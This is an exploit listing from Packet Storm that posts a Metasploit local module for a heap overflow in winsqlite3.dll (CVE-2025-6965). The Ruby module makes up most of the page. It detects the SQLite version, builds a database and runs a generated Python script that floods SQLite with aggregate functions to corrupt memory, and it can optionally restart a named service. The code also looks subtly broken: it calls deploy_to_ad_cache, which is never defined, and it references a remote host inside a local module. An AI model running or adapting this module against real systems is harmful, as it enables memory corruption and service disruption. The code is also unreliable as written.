PACKETSTORM 9.8 CRITICAL

📄 SQLite 3.50.1 winsqlite3.dll Heap Overflow_PACKETSTORM:219850

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This Metasploit local exploit module targets a heap overflow vulnerability in winsqlite3.dll in SQLite versions prior to 3.50.2 on Windows systems. It first attempts to detect the installed SQLite version, then generates a specially crafted database...
Visit Original Source

Basic Information

ID PACKETSTORM:219850
Published Apr 27, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : SQLite 3.50.1 winsqlite3.dll Heap Overflow |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.sqlite.org |
==================================================================================================================================

[+] Summary : This Metasploit local exploit module targets a heap overflow vulnerability in winsqlite3.dll in SQLite versions prior to 3.50.2 on Windows systems.
It first attempts to detect the installed SQLite version,
then generates a specially crafted database and SQL workload containing an excessive number of aggregate functions designed to trigger memory corruption.

[+] POC :

class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SQLite winsqlite3.dll Heap Overflow (CVE-2025-6965)',
'Description' => %q{
This module exploits a heap overflow vulnerability in SQLite versions prior to 3.50.2.
},
'License' => MSF_LICENSE,
'Author' => ['indoushka'],
'References' => [['CVE', '2025-6965']],
'Platform' => 'win'
)
)

register_options([
OptString.new('DB_PATH', [false, 'Local database path', 'cve_2025_6965_winsqlite3.db']),
OptInt.new('AGGREGATE_COUNT', [true, 'Number of aggregates', 100]),
OptString.new('SERVICE_NAME', [false, 'Target service name', '']),
OptString.new('AD_CACHE_DIR', [false, 'AD cache directory', 'C:\\Temp']),
OptString.new('AD_DB_TARGET', [false, 'Target DB name', 'ad_cache.db']),
OptBool.new('FORCE_SERVICE_RESTART', [false, 'Restart service after exploitation', false])
])
end

def check
print_status("Checking SQLite version...")

sqlite_version = get_sqlite_version

if sqlite_version.nil?
return Exploit::CheckCode::Unknown
end

print_status("SQLite version detected: #{sqlite_version}")

if sqlite_version < Gem::Version.new('3.50.2')
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Starting exploitation")

check_result = check
if check_result == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Target appears patched")
end

db_path = create_malicious_database
fail_with(Failure::UnexpectedReply, "DB creation failed") unless db_path

deploy_to_ad_cache(db_path) || fail_with(Failure::UnexpectedReply, "Deploy failed")

trigger_overflow(datastore['AD_CACHE_DIR'] + "\\" + datastore['AD_DB_TARGET'])

if datastore['FORCE_SERVICE_RESTART']
restart_target_service
end
end

def get_sqlite_version
sqlite_paths = [
"#{ENV['WINDIR']}\\System32\\winsqlite3.dll"
]

sqlite_paths.each do |path|
next unless file_exist?(path)

version = file_version(path)
next unless version

if version =~ /(\d+\.\d+\.\d+)/
return Gem::Version.new($1)
end
end

nil
end

def create_malicious_database
print_status("Creating malicious database...")

db_path = datastore['DB_PATH']

sql_script = "CREATE TABLE IF NOT EXISTS ad_cache (id INTEGER PRIMARY KEY, val INTEGER);"

temp_sql = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(8)}.sql"
write_file(temp_sql, sql_script)

cmd_exec("sqlite3 \"#{db_path}\" < \"#{temp_sql}\"")

rm_f(temp_sql)

file_exist?(db_path) ? db_path : nil
end

def generate_malicious_query(num)
parts = []

num.to_i.times do |i|
parts << "COUNT(*) AS c#{i}"
parts << "SUM(val) AS s#{i}"
parts << "AVG(val) AS a#{i}"
end

"SELECT #{parts.join(', ')} FROM ad_cache"
end

def trigger_overflow(db_path)
print_status("Triggering overflow...")

query = generate_malicious_query(datastore['AGGREGATE_COUNT'])

python = <<~PY
import sqlite3
conn = sqlite3.connect('#{db_path}')
cur = conn.cursor()

try:
cur.execute(\"\"\"#{query}\"\"\")
conn.commit()
except Exception as e:
print("Error:", e)

conn.close()
PY

tmp = "#{Dir.tmpdir}/#{Rex::Text.rand_text_alpha(6)}.py"
write_file(tmp, python)

cmd_exec("python \"#{tmp}\"")

rm_f(tmp)

report_vuln(
host: rhost,
name: "CVE-2025-6965 SQLite Heap Overflow"
)
end

def restart_target_service
service = datastore['SERVICE_NAME']
return if service.nil? || service.empty?

return unless service_exists?(service)

cmd_exec("net stop \"#{service}\"")
Rex.sleep(2)
cmd_exec("net start \"#{service}\"")
end

def service_exists?(name)
result = cmd_exec("sc query \"#{name}\"")
return false if result.nil?
!result.include?("FAILED")
end

def exec_cmd(cmd)
return nil unless session
session.shell_command_token(cmd)
end

alias cmd_exec exec_cmd

def write_file(path, content)
session.fs.file.write(path, content) if session
end

def rm_f(path)
cmd_exec("del /F /Q \"#{path}\"")
end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.